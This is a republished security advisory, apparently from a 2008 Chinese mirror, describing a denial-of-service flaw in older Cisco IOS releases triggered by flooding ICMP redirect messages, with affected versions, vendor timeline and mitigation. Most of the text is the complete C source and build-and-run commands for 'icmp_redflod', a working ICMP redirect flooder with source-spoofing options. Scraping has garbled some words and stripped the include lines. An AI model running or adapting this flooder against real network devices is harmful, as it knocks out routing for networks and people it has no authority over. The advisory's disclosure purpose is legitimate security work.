Cisco IOS ICMP Redirect DoS

1/6/2008来源:Cisco网络人气:3363


  Cisco Systems IOS is vulnerable to a denial-of-service attack using ICMP
  Redirect messages.
  
  When flooded with ICMP redirect messages, the IOS uses up all its memory
  to store the new host routes. The device is then unable to perform
  Operations that need additional memory sUCh as receiving routing updates
  and accepting inbound telnet(1) connections.
  
  DETAILS
  
  Known vulnerable combinations:
  * Cisco 1005 with IOS 11.0(18)
  * Cisco 1603 with IOS 11.3(11b)
  * Cisco 1603 with IOS 12.0(3)
  * Cisco 2503 with IOS 11.0(22a)
  * Cisco 2503 with IOS 11.1(24a)
  
  Known to be not vulnerable:
  * Cisco 1603 with IOS 12.1(11)
  * Cisco 1603 with IOS 12.2(5)
  * Cisco 2503 with IOS 11.2(26a)
  * Cisco 2503 with IOS 11.3(11b)
  * Cisco 2503 with IOS 12.0(19)
  
  Description:
  ICMP redirect messages are used in IP networks to inform a sending device
  about inefficient routing. Cisco IOS software stores redirect messages it
  receives in memory for further consultation. They do not become part of
  the normal routing table.
  
  When generating ICMP redirect messages with random IP addresses in the
  "offending packet" section of the ICMP frame, IOS will include this IP
  address in its ICMP redirection table. In the vulnerable versions of IOS,
  this table has no size limit. Later versions of IOS enforce a limit of
  16000 redirects and therefore limit the amount of used memory to
  apPRoximately 1.16MB.
  
  Some device/IOS combinations tested were unable to perform normal IP
  routing for a limited time, but most combinations continued to function as
  a router. In some cases, even access to the console was denied because of
  low memory.
  
  According to Gaus, affected devices should
  recover after 4 hours since the redirect table entries time out. However,
  vulnerable versions tested did not recover.
  
  Vendor status:
  11/16/2001 to 05/05/2002 Contacted Cisco 8 times over past 6 months
  concerning status.
  05/07/2002 Gaus says Cisco developers assigned a low priority to the bug.
  05/11/2002 Provide a copy of this file to Cisco prior to publication.
  05/20/2002 Final corrections by Cisco included.
  05/21/2002 Info from Cisco: Fix available shortly.
  
  Example:
  To generate random ICMP redirect messages, a sender tool is available at
  
  http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be linked with
  the IRPAS packet library.
  
  linuxbox# cd /where/irpas/is
  linuxbox# make libpackets.a
  linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets
  linuxbox# ./icmp_redflod -i eth0 -D -G
  
  On high bandwidth networks, the command line switch -w0 can be used to
  increase the sending rate.
  
  Solution:
  Filter inbound ICMP redirect messages or update your IOS to either a not
  vulnerable release or a fixed version when these become available.
  
  EXPloit code:
  /* ICMP redirect flooder
  *
  * FX
  * Phenoelit (http://www.phenoelit.de)
  * (c) 2k++
  *
  * $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $
  */
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  
  #include "protocols.h"
  #include "packets.h"
  #include "build.h"
  
  #include
  #include
  
  /* definitions */
  #define IPTTL 0x80
  
  #define DEFAULT_DELAY 100000
  
  #define BANNER "ICMP Redir Flooder $Revision: 1.3 $\n" "\t(c) 2k++ FX \n" "\tPhenoelit (http://www.phenoelit.de)\n"
  
  /* config */
  struct {
   int verbose;
   char *device;
   int flood;
  
   int spoof_src;
   int code;
   struct in_addr dest;
   struct in_addr src;
   struct in_addr gw;
   unsigned int delay;
  } cfg;
  
  
  /*
  * globals
  */
  u_char *rawpacket;
  int icmpsfd;
  
  sig_atomic_t stop_flag=0;
  unsigned long iii=0;
  
  
  /************************************
  * prototypes */
  void usage(char *n);
  
  u_char *construct_icmp_redirect(struct in_addr *dest,
   struct in_addr *newgw, int *psize);
  
  /* PCAP */
  void signaler(int sig);
  
  
  /* the main function */
  int main(int argc, char **argv) {
   char option;
   extern char *optarg;
   u_char *icp;
   int icl;
  
  
   memset(&cfg,0,sizeof(cfg));
   cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;
   while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) {
   switch (option) {
   case 'v': /* verbose */
   cfg.verbose++;
   break;
   case 'f': cfg.flood=0;
   break;
   case 'i': /* local network device */
   cfg.device=smalloc(strlen(optarg)+1);
   strcpy(cfg.device,optarg);
   break;
   break;
   case 'S': /* spoof source */
   if (inet_aton(optarg,&(cfg.src))==0) {
   fprintf(stderr,
   "source IP address seems to be wrong\n");
   return (1);
   }
   cfg.spoof_src++;
   break;
   case 'G': /* set gw */
   if (inet_aton(optarg,&(cfg.gw))==0) {
   fprintf(stderr,
   "Gateway IP address seems to be wrong\n");
   return (1);
   }
   break;
   case 'D': /* dest address */
   if (inet_aton(optarg,&(cfg.dest))==0) {
   fprintf(stderr,
   "dest IP address seems to be wrong\n");
   return (1);
   }
   break;
   case 'w': cfg.delay=atoi(optarg);
   break;
   case 'c': cfg.code=atoi(optarg);
   break;
   default: usage(argv[0]);
   }
   }
  
   if (!cfg.device) usage(argv[0]);
  
   /*
   * TODO: add output on what we are about to do
   */
  
  
   srand((unsigned int)time(NULL));
   /* set up ICMP sender socket (IP) */
   if ((icmpsfd=init_socket_IP4(cfg.device,0))<0) return (-1);
  
   /* if spoofing is enabled, copy it */
   if (!cfg.spoof_src) {
   memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);
   }
  
   /* signal handling */
   signal(SIGTERM,&signaler);
   signal(SIGABRT,&signaler);
   signal(SIGINT,&signaler);
  
   /* my shit */
   printf(BANNER); printf("\tIRPAS build %s\n",BUILD);
   printf("Performing flood ...\n");
  
   if (cfg.flood) {
   while (!stop_flag) {
   icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
   sendpack_IP4(icmpsfd,icp,icl);
   free(icp);
   if (cfg.delay>0) usleep(cfg.delay);
   }
   } else {
   icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);
   sendpack_IP4(icmpsfd,icp,icl);
   free(icp);
   }
  
   /* at the end of the day, close our socket */
   close(icmpsfd);
   printf("Send %lu packets\n",iii);
  
   return (0);
  }
  
  
  
  /********************** FUNCTIONS **********************/
  
  
  void signaler(int sig) {
   stop_flag++;
   if (cfg.verbose>2)
   fprintf(stderr,"\nSignal received.\n");
  }
  
  
  /* constructs the ICMP redirect
  * * Returns a pointer to the packet or NULL if failed
  * * returns also the size in *psize */
  u_char *construct_icmp_redirect(struct in_addr *dest,
   struct in_addr *newgw, int *psize) {
  #define PADDING 0
   u_char *tpacket;
   iphdr_t *iph,*iporig;
   icmp_redirect_t *icmp;
   u_int16_t cs;
   unsigned int randip;
  
   *psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;
   tpacket=(u_char *)smalloc(*psize
   +3 /* for my checksum function, which sometimes
   steps over the mark */
   );
  
   /* make up IP packet */
   iph=(iphdr_t *)tpacket;
  
   iph->version=4;
   iph->ihl=sizeof(iphdr_t)/4;
  
   iph->tot_len=htons(*psize);
   iph->ttl=IPTTL;
   iph->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
   iph->protocol=IPPROTO_ICMP;
  
   memcpy(&(iph->saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);
   memcpy(&(iph->daddr.s_addr),&(dest->s_addr),IP_ADDR_LEN);
  
   /* make up the icmp header */
   icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));
   icmp->type=ICMP_REDIRECT;
   if (cfg.code==0xFF)
   icmp->code=ICMP_REDIR_HOST;
   else
   icmp->code=(unsigned char)cfg.code;
   memcpy(&(icmp->gateway),&(newgw->s_addr),IP_ADDR_LEN);
   iporig=(iphdr_t *)(&(icmp->headerdata));
  
   iporig->version=4;
   iporig->ihl=sizeof(iphdr_t)/4;
   iporig->tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
   iporig->id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));
   iporig->protocol=IPPROTO_UDP;
   memcpy(&(iporig->saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);
   randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));
   memcpy(&(iporig->daddr.s_addr),&(randip),IP_ADDR_LEN);
   iii++;
  
   /* make up checksum */
   cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));
   icmp->checksum=cs;
  
   return tpacket;
  }
  
  void usage(char *n) {
   printf(
   "%s [-v[v[v]]] [-f] -i \n"
   "\t[-D \n"
   "\t[-G ] [-w ]\n"
   "\t[-S ] [-c ICMP code]\n",
   n);
   exit (1);
  }
  
  
  ADDITIONAL INformATION